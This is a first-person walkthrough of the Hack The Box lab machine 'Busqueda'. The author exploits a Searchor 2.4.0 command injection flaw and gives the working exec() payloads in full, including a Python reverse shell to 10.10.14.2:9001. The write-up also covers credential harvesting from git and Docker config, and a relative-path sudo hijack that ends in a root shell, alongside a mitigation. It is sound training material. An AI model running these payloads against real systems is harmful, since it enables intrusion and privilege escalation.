Busqueda is a Linux machine featuring a web application that provides users with a URL for a variety of search engines across the web with an appended query based on an input value. The functionality is implemented using a Python library called Searchor. However, this library has a command injection vulnerability that can be exploited.
By leveraging the command injection vulnerability, a shell on the system as the user svc
can be obtained. Through enumeration, it is discovered that the svc
user has sudo permissions to execute a script located at /opt/scripts/system-checkup.py
. This script allows for the inspection of a Docker container that contains Gitea credentials for the administrator
user.
Further analysis of the code in system-checkup.py
on the administrator
Gitea page reveals that it calls a shell script using its relative path. This presents an opportunity for exploitation by creating a custom shell script with the same name within a folder where the svc
user has write permissions. This can ultimately lead to a root shell on the system.
nmap
scan:
Open ports:
- 22 (SSH)
- 80 (HTTP)
Visiting the IP redirected to searcher.htb
, so I added that to /etc/hosts
.
On the webpage, users can choose from a variety of search engines and enter a query to be searched. This will generate and output the URL for the particular search engine with the appended query. Ticking the "Auto redirect" box will automatically send the user to the URL.
The bottom of the webpage shows that it's built with Flask and Searchor 2.4.0. A google search for "searchor 2.4.0" led to this snyk Vulnerability DB page stating that the Searchor package is vulnerable to arbitrary code execution.
So, I tested some payloads, and was able to get successful command execution with the following:
'+exec("import os; os.system('id')"))#
The payload uses the exec()
function to execute python code as a string within the current execution environment. As for the argument within exec()
, import os;
will import the python os
module to provide a way to interact with the operating system. Then, os.system('id')
is used to execute system commands and aims to execute the id
command on the underlying operating system:
Output:
Knowing that I could get command execution, next I attempted to get a reverse shell. I modified the Python #2 payload from revshells:
'+exec("import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('10.10.14.2',9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);os.system('/bin/bash -i');"))#
The payload is altered to use the exec()
function to execute the python code and launches the shell with os.system('/bin/bash -i')
:
Shell as svc
:
I tried checking sudo permissions with sudo -l
, but it required a password which I didn't know yet:
So after some enumeration, I found a git repository in /var/www/app
which had a config
file that contained user credentials for Gitea hosted at gitea.searcher.htb
:
After logging in to the cody
user's Gitea page, it only contained the repo for the Searcher site, which wasn't too useful because I was able to view that code anyway. However, I noticed another user contributing to the Searcher site repo named administrator
so I took note of that as I figured it might be useful at some point:
I tried running sudo -l
again with the found password and it worked which showed that the svc
user could run /usr/bin/python3 /opt/scripts/system-checkup.py *
with root privileges:
To get the correct usage, I ran the command with -h
:
First, I ran it with docker-ps
to list the running docker containers:
docker-inspect
requires a format option and container name. Read more here in the documentation for docker inspect.
I ran docker-inspect
with the --format='{{json .Config}}'
option to format it as json. This outputted configuration info for the gitea
container which included a Gitea password, but there's no mention of what user it belonged to:
So, I tried logging in using this password with the only other user I saw on Gitea, administrator
and the creds worked. The user's profile contained the /scripts
repo which allowed me to view the code and check for any potential vulnerabilities:
system-checkup.py
contained an interesting code block:
elif action == 'full-checkup':
try:
arg_list = ['./full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
The line arg_list = ['./full-checkup.sh']
references the full-checkup.sh
script by using its relative path. This means that the script will look for the file full-checkup.sh
within the current directory that the command sudo /usr/bin/python3 /opt/scripts/system-checkup.py full-checkup
is executed.
To exploit this, I could write a custom shell script within a directory that svc
can write to (e.g. /home/svc
) which contains a reverse shell payload, then execute the command and catch a root shell.
A way of mitigating a vulnerability like this from being exploited would be to reference full-checkup.sh
using its absolute path of /opt/scripts/full-checkup.sh
, ensuring that it's only executed from within the /opt/scripts
directory, thus preventing arbitrary code from being executed.
Example of the code referencing full-checkup.sh
using the absolute path:
elif action == 'full-checkup':
try:
arg_list = ['/opt/scripts/full-checkup.sh']
print(run_command(arg_list))
print('[+] Done!')
except:
print('Something went wrong')
exit(1)
So within /home/svc
, I wrote a custom full-checkup.sh
script with a reverse shell command:
I started a Netcat listener, executed the script, and then caught a root shell: